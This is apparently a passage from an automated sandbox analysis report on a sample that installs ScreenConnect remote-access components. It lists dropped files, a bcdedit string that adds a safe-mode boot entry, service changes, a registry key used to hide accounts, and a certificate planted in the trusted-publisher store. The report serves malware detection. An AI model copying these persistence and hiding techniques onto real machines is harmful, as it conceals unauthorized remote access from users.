Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01DDD1A push ebx; ret 13_2_00007FF7C01DDE5A
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01D2EC6 push ss; retf 13_2_00007FF7C01D2EC7
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01E20D1 push eax; retf 13_2_00007FF7C01E2759
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_e9da84be0c9b9883\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..dows_4b14c015c87c1ad8_0018.0002_none_583cfecd399a55af\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..vice_4b14c015c87c1ad8_0018.0002_none_0518bf34930ba5ea\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..core_4b14c015c87c1ad8_0018.0002_none_53c526ebfd4c427f\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_b50c000fe630258c\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsFileManager.exe Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (ae095c23-8e22-4747-b9a0-c8c8b34ba57d)

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.1769348036.000000001C272000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 0000000B.00000002.1751348890.00000000028B2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801490320.0000000000A00000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801752921.0000000002371000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Stores large binary data to the registry
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
